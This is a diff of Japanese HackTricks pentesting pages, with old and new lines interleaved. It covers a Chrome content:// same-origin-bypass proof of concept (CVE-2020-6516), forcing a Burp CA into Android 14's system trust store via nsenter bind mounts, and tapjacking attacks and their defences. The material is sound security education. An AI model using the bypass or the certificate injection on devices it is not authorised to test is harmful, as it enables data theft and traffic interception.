* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**この記事の要約です [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
**これは[https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)の投稿の要約です**
### メディアストア内のファイルのリスト表示
メディアストアで管理されているファイルをリスト表示するには、以下のコマンドを使用できます:
メディアストアで管理されているファイルのリストを表示するには、以下のコマンドを使用できます:
```bash
$ content query --uri content://media/external/file
```
より人間にやさしい出力のために、インデックスされた各ファイルの識別子とパスのみを表示します:
より人間にやさしい出力のために、インデックスされた各ファイルの識別子とパスのみを表示します:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
コンテンツプロバイダーは独自のプライベート名前空間で分離されています。プロバイダーへのアクセスには特定の `content://` URI が必要です。プロバイダーへのアクセスパスに関する情報は、アプリケーションのマニフェストやAndroidフレームワークのソースコードから取得できます。
### コンテンツプロバイダー
### Chromeによるコンテンツプロバイダーへのアクセス
Android上のChromeは、`content://` スキームを介してコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後Chromeを介してアクセスできます
コンテンツプロバイダーは独自のプライベート名前空間で分離されています。プロバイダーへのアクセスには特定の `content://` URI が必要です。プロバイダーへのアクセスパスに関する情報は、アプリケーションのマニフェストまたはAndroidフレームワークのソースコードから取得できます。
メディアストアにカスタムエントリを挿入します:
### Chrome によるコンテンツプロバイダーへのアクセス
Android 上の Chrome は `content://` スキームを介してコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後 Chrome を介してアクセスすることができます:
メディアストアにカスタムエントリを挿入します:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
@ -48,19 +51,19 @@ content query --uri content://media/external/file \
```
ファイルは、ファイルの識別子を使用して構築されたURLを使用してChromeで表示できます。
たとえば、特定のアプリケーションに関連するファイルをリストするには
たとえば、特定のアプリケーションに関連するファイルをリストするには:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
### Chrome CVE-2020-6516: 同一オリジンポリシーのバイパス
_Same Origin Policy_SOPは、ブラウザーのセキュリティプロトコルであり、クロスオリジンリソース共有CORSポリシーによって明示的に許可されていない限り、Webページが異なるオリジンのリソースとやり取りすることを制限します。このポリシーは情報漏洩やクロスサイトリクエストフォージェリーを防ぐことを目的としています。Chromeは`content://`をローカルスキームと見なし、各ローカルスキームURLを別々のオリジンとして扱う厳格なSOPルールを適用します。
_Same Origin Policy_SOPは、ブラウザーのセキュリティプロトコルであり、異なるオリジンのリソースとのやり取りを明示的に許可されていない限り、Webページがそれらとやり取りすることを制限します。これにより、情報の漏洩やクロスサイトリクエストフォージェリーが防止されます。Chromeは`content://`をローカルスキームと見なし、各ローカルスキームURLを別々のオリジンとして扱ます。
しかし、CVE-2020-6516は、Chromeの脆弱性であり、`content://` URLを介してロードされたリソースのSOPルールをバイパスすることを可能にしました。実際、`content://` URLからのJavaScriptコードは、`content://` URLを介してロードされた他のリソースにアクセスできるようになりました。これは、特にAndroid 10より前のバージョンを実行しているAndroidデバイスでは、スコープ付きストレージが実装されていないため、重大なセキュリティ上の懸念でした。
しかし、CVE-2020-6516は、Chromeの脆弱性であり、`content://` URL経由で読み込まれたリソースに対するSOPルールのバイパスを許可していました。実際、`content://` URLからのJavaScriptコードは、`content://` URL経由で読み込まれた他のリソースにアクセスできるようになりました。これは、特にAndroid 10より前のバージョンを実行しているAndroidデバイスでは、スコープ付きストレージが実装されていないため、重大なセキュリティ上の懸念でした。
以下の概念実証は、この脆弱性を示しており、HTMLドキュメントが**/sdcard**にアップロードされ、メディアストアに追加された後、そのJavaScriptで`XMLHttpRequest`を使用してメディアストア内の別のファイルの内容にアクセスして表示する方法を示ています。これにより、SOPルールがバイパスされます。
以下の概念実証は、この脆弱性を示しています。HTMLドキュメントは、**/sdcard**にアップロードされ、メディアストアに追加された後、そのJavaScriptで`XMLHttpRequest`を使用してメディアストア内の別のファイルの内容にアクセスして表示します。これにより、SOPルールがバイパスされます。
概念実証HTML
概念実証HTML:
```xml
<html>
<head>
@ -89,20 +92,20 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expertを使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見す
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -24,8 +24,8 @@ HackTricksをサポートする他の方法
![](<../../.gitbook/assets/image (367).png>)
**Der形式で証明書をエクスポート**し、**Androidが理解できる形式に変換**する必要があります。AndroidマシンのAVDでBurp証明書を構成するには、このマシンを**`-writable-system`**オプションで実行する必要があります。\
たとえば、次のように実行できます:
**Der形式で証明書をエクスポート**し、**Androidが理解できる形式に変換**する必要があります。AndroidマシンのAVDにBurp証明書を構成するには、このマシンを**`-writable-system`**オプションで**実行する必要があります。**
えば、次のように実行できます:
{% code overflow="wrap" %}
```bash
@ -52,35 +52,35 @@ adb reboot #Now, reboot the machine
## Magiscを使用する
もし**Magiscでデバイスをroot化**していて(おそらくエミュレータ)、かつ**ファイルシステムが読み取り専用**でリマウントして書き込み可能にできないため、以前の**手順**に従うことができない場合は、別の方法があります。
Magiscでデバイスをroot化した場合おそらくエミュレーター、**ファイルシステムが読み取り専用**でリマウントできないため、Burp証明書をインストールする前の**手順に従えない**場合は、別の方法があります。
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、以下の手順を実行する必要があります:
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、の手順を実行する必要があります:
1. **CA証明書をインストール**DER Burp証明書を`.crt`に変更してモバイルにドラッグ&ドロップし、Downloadsフォルダに保存し、`証明書のインストール` -> `CA証明書`に移動します
1. **CA証明書をインストール**DER Burp証明書を`.crt`の拡張子に変更してモバイルにドラッグ&ドロップするだけで、ダウンロードフォルダに保存され、`証明書のインストール` -> `CA証明書`に移動します
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
* 証明書が正しく保存されたことを確認するために、`信頼された証明書` -> `ユーザー`に移動します
* 証明書が正しく保存されたことを確認するには、`信頼された資格情報` -> `ユーザー`に移動します
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
2. **システムで信頼されるようにする**Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zipファイルをダウンロードし、それを電話にドラッグドロップし、電話のMagicsアプリ`モジュール`セクションに移動し、`ストレージからインストール`をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します:
2. **システムで信頼されるようにする**Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zipファイルをダウンロードし、それを電話にドラッグドロップし、電話のMagicsアプリに移動して`モジュール`セクションに移動し、`ストレージからインストール`をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します:
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
* 再起動後、`信頼された証明書` -> `システム`に移動し、Postswigger証明書がそこにあることを確認します
* 再起動後、`信頼された資格情報` -> `システム`に移動し、Postswigger証明書がそこにあることを確認します
<figure><img src="../../.gitbook/assets/image (53).png" alt="" width="314"><figcaption></figcaption></figure>
## Android 14以降
最新のAndroid 14リリースでは、システムで信頼される証明機関CA証明書の取り扱いに大きな変化が見られます。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納され、root権限を持つユーザーがアクセスして変更でき、システム全体に即座に適用できました。しかし、Android 14では、保存場所が**`/apex/com.android.conscrypt/cacerts`**に移動されました。これは**`/apex`**パス内のディレクトリであり、その性質上変更できません。
最新のAndroid 14リリースでは、システムで信頼される証明機関CA証明書の取り扱いに重要な変更が観察されています。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に収容され、root権限を持つユーザーがアクセスして変更でき、システム全体に直ちに適用できました。しかし、Android 14では、保存場所が**`/apex/com.android.conscrypt/cacerts`**に移動されました。これは**`/apex`**パス内のディレクトリであり、その性質上変更できません。
**APEX cacertsパス**を書き込み可能にリマウントしようとする試みは失敗します。システムはそのような操作を許可しません。ディレクトリを一時的なファイルシステムtmpfsでアンマウントしたりオーバーレイしたりしても、不変性を回避することはできません。ファイルシステムレベルでの変更に関わらず、アプリケーションは元の証明書データにアクセスし続けます。これは、**`/apex`**マウントがPRIVATE伝播で構成されているためです。これにより、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないようになっています。
**APEX cacertsパス**を書き込み可能にリマウントしようとする試みは失敗します。システムはそのような操作を許可しません。ディレクトリを一時的なファイルシステムtmpfsでアンマウントしたりオーバーレイしたりしても、不変性を回避することはできません。ファイルシステムレベルでの変更に関わらず、アプリケーションは元の証明書データにアクセスし続けます。これは、**`/apex`**マウントがPRIVATE伝播で構成されているためでり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないようにています。
Androidの初期化には`init`プロセスが関与し、オペレーティングシステムの起動時にZygoteプロセスも開始されます。このプロセスは、新しいマウント名前空間を持つZygoteプロセスを起動し、このディレクトリの変更を他のプロセスから分離します。
ただし、**`/apex`**ディレクトリ内のシステムで信頼されるCA証明書を変更する必要がある場合の回避策が存在します。これには、**`/apex`**を手動でリマウントしてPRIVATE伝播を削除し、書き込み可能にする必要があります。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`**ディレクトリをアンマウントして読み取り専用制約を解除し、その後、内容を**`/apex`**内の元の場所に復元する必要があります。このアプローチはシステムクラッシュを回避するために迅速な対応が必要です。これらの変更をシステム全体に適用するためには、`system_server`を再起動することをお勧めします。これにより、すべてのアプリケーションが再起動され、システムが一貫した状態になります。
ただし、**`/apex`**ディレクトリ内のシステムで信頼されるCA証明書を変更する必要がある場合の回避策が存在します。これには、**`/apex`**を手動でリマウントしてPRIVATE伝播を削除し、書き込み可能にする必要があります。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`**ディレクトリをアンマウントして読み取り専用制約を解除し、その後、**`/apex`**内の元の場所に内容を復元する必要があります。このアプローチはシステムクラッシュを回避するために迅速な対応が必要です。これらの変更がシステム全体に適用されるようにするためには、`system_server`を再起動することをお勧めします。これにより、すべてのアプリケーションが再起動され、システムが一貫した状態になります。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -140,41 +140,41 @@ echo "System certificate injected"
```
### NSEnterを介したバインドマウント
1. **書き込み可能ディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリに`tmpfs`をマウントして書き込み可能ディレクトリを確立します。次のコマンドを使用してこれを実現します:
1. **書き込み可能ディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリに`tmpfs`をマウントして書き込み可能ディレクトリを確立します。次のコマンドを使用してこれを実現します:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **CA証明書の準備**: 書き込み可能ディレクトリのセットアップに続いて、使用するCA証明書をこのディレクトリにコピーする必要があります。これには、デフォルトの証明書を`/apex/com.android.conscrypt/cacerts/`からコピーすることが含まれる場合があります。これらの証明書の権限とSELinuxラベルを適切に調整することが重要です。
3. **Zygoteのバインドマウント**: `nsenter`を利用して、Zygoteのマウント名前空間に入ります。 Androidアプリケーションを起動する責任があるプロセスであるZygoteは、今後起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用するようにするために、この手順が必要です。使用されるコマンドは次のとおりです
3. **Zygoteのためのバインドマウント**: `nsenter`を利用して、Zygoteのマウント名前空間に入ります。 Androidアプリケーションを起動する責任があるプロセスであるZygoteは、今後起動されるすべてのアプリケーションが新しく構成されたCA証明書を利用するようにするために、この手順が必要です。使用されるコマンドは次のとおりです:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
これにより、新しいアプリが開始されるたびに、更新されたCA証明書の設定に従うようになります。
これにより、開始されるすべての新しいアプリが更新されたCA証明書のセットアップに従うようになります。
4. **実行中のアプリに変更を適用する**: 既に実行中のアプリに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを行います。必要なコマンドは次のりです:
4. **実行中のアプリに変更を適用する**: すでに実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを行います。必要なコマンドは次のとおりです:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **代替手法 - ソフト再起動**: 代替手法は、`init` プロセスPID 1での bind マウントを実行し、`stop && start` コマンドでオペレーティングシステムをソフト再起動する方法です。この手法により、変更がすべてのネームスペースに伝播され、実行中の各アプリを個別に対処する必要がなくなります。ただし、再起動の手間がかかるため、一般的にこの方法は好まれません。
5. **代替手法 - ソフト再起動**: 代替手法は、`init` プロセスPID 1での bind マウントを実行し、`stop && start` コマンドでオペレーティングシステムをソフト再起動する方法です。この手法により、変更がすべてのネームスペースに伝播され、実行中の各アプリケーションを個別に対処する必要がなくなります。ただし、再起動の手間がかかるため、一般的にこの方法は好まれません。
## 参考文献
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** または [telegram グループ](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローしてください。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -8,39 +8,39 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有する、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **基本情報**
**タップジャッキング**は、**悪意のあるアプリケーション**が起動し、**被害者アプリケーションの上に配置される**攻撃です。一旦被害者アプリケーションが見えなくなると、ユーザーインターフェースが設計され、ユーザーがそれとやり取りするように騙されるようになりますが、実際にはそのやり取りは被害者アプリケーションに送られます。\
実際には、ユーザーが被害者アプリケーションでアクションを実行していることを知らないようにしています。
**タップジャッキング**は、**悪意のあるアプリケーション**が**被害者アプリケーションの上に配置され**、**被害者アプリケーションでアクションを実行しているかのように見せかける**ように設計されたユーザーインターフェースを持つ攻撃です。\
実際には、**ユーザーが被害者アプリケーションでアクションを実行していることを知らないようにしています**
### 検出
この攻撃に対して脆弱なアプリを検出するには、Androidマニフェスト内の**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルターを持つアクティビティはデフォルトで自動的にエクスポートされます)。エクスポートされたアクティビティを見つけたら、**それらがどの権限を必要とするかを確認**してください。これは、**悪意のあるアプリケーションもその権限が必要になるため**です。
この攻撃に対して脆弱なアプリを検出するためには、Androidマニフェストで**エクスポートされたアクティビティ**を検索する必要があります(インテントフィルターを持つアクティビティはデフォルトで自動的にエクスポートされます)。エクスポートされたアクティビティを見つけたら、**それらがどの権限を必要とするかを確認**してください。なぜなら、**悪意のあるアプリケーションもその権限が必要になるから**です。
### 保護
#### Android 12API 31,32およびそれ以降
[**このソースによると**](https://www.geeksforgeeks.org/tapjacking-in-android/)**、Android 12API 31および30以降では、Androidによってタップジャッキング攻撃が自動的に防止されます。したがって、アプリケーションが脆弱であっても**それを悪用することはできません**。
[**このソースによると**](https://www.geeksforgeeks.org/tapjacking-in-android/)**、Android 12API 31および30以降では、Androidによってタップジャッキング攻撃が自動的に防止されます。したがって、アプリケーションが脆弱であっても**それを悪用することはできません**。
#### `filterTouchesWhenObscured`
**`android:filterTouchesWhenObscured`**が**`true`**に設定されている場合、`View`は別の可視ウィンドウによって覆われているときにタッチを受け取りません。
**`android:filterTouchesWhenObscured`**が**`true`**に設定されている場合、`View`は別の可視ウィンドウによって覆われているときにタッチを受け取りません。
#### **`setFilterTouchesWhenObscured`**
属性**`setFilterTouchesWhenObscured`**がtrueに設定されている場合、Androidバージョンが低い場合でもこの脆弱性の悪用を防ぐことができます。\
たとえば、**`true`**に設定されている場合、ボタンは自動的に**無効になる**可能性があります。
たとえば、**`true`**に設定されている場合、ボタンは**覆われている場合に自動的に無効に**なります。
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -53,28 +53,42 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
最新のAndroidアプリケーションは、[**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity) でTapjacking攻撃を実行します攻撃されたアプリケーションのエクスポートされたアクティビティの前に呼び出します
最新のAndroidアプリケーションは、攻撃されたアプリケーションのエクスポートされたアクティビティの前に呼び出すタップジャッキング攻撃を実行するもので、[こちら](https://github.com/carlospolop/Tapjacking-ExportedActivity)で見つけることができます
**READMEの手順に従って使用してください**
**READMEの手順に従って使用**してください。
### FloatingWindowApp
他のアクティビティの上に配置してクリックジャッキング攻撃を実行するために使用できる**FloatingWindowApp**を実装した例のプロジェクトは、[**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) にあります少し古いですが、APKをビルドする際は幸運を祈ります
他のアクティビティの上に配置してクリックジャッキング攻撃を実行するために使用できる**FloatingWindowApp**を実装した例のプロジェクトは、[こちら](https://github.com/aminography/FloatingWindowApp)にあります少し古いですが、APKをビルドする際は幸運を祈ります
### Qark
{% hint style="danger" %}
このプロジェクトは現在メンテナンスされておらず、この機能正常に機能しなくなっています
このプロジェクトは現在メンテナンスされておらず、この機能正常に機能しなくなっています
{% endhint %}
悪用可能な**Tapjacking**の脆弱性をテストするために悪意のあるアプリケーションを作成するために、`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark) を使用できます。
潜在的な**Tapjacking**の脆弱性をテストするために悪意のあるアプリケーションを作成するために、`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` パラメータを使用して[**qark**](https://github.com/linkedin/qark)を使用できます。
開発者は、ビューが他のビューによって覆われている場合にタッチイベントを受信しないように選択できるため、緩和は比較的簡単です。[Android Developers Reference](https://developer.android.com/reference/android/view/View#security) を使用します
開発者は、ビューが他のビューによって覆われている場合にタッチイベントを受信しないように選択できるため、緩和は比較的簡単です。[Android Developers Reference](https://developer.android.com/reference/android/view/View#security)を使用して
> アプリケーションがユーザーの完全な知識と同意を得て行われていることを検証できることが重要な場合があります。たとえば、許可リクエストの承認、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、意図したビューの目的を隠してユーザーを騙そうとするかもしれません。その対処法として、フレームワークは、感度の高い機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。
> 時には、ユーザーの完全な知識と同意を得て行われていることをアプリケーションが確認できることが重要です。たとえば、許可リクエストの承認、購入の実行、広告のクリックなどです。残念ながら、悪意のあるアプリケーションは、意図しないビューの目的を隠してユーザーにこれらのアクションを実行させようとするかもしれません。その対処法として、フレームワークは、感度の高い機能へのアクセスを提供するビューのセキュリティを向上させるために使用できるタッチフィルタリングメカニズムを提供します。
>
> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) を呼び出すか、android:filterTouchesWhenObscured レイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが他の可視ウィンドウによって覆われているときに受信されたタッチを破棄します。その結果、ビューは、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるときにタッチを受信しません。
> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが他の可視ウィンドウによって覆われているときに受信されたタッチを破棄します。その結果、ビューは、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されているときにタッチを受信しません。
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
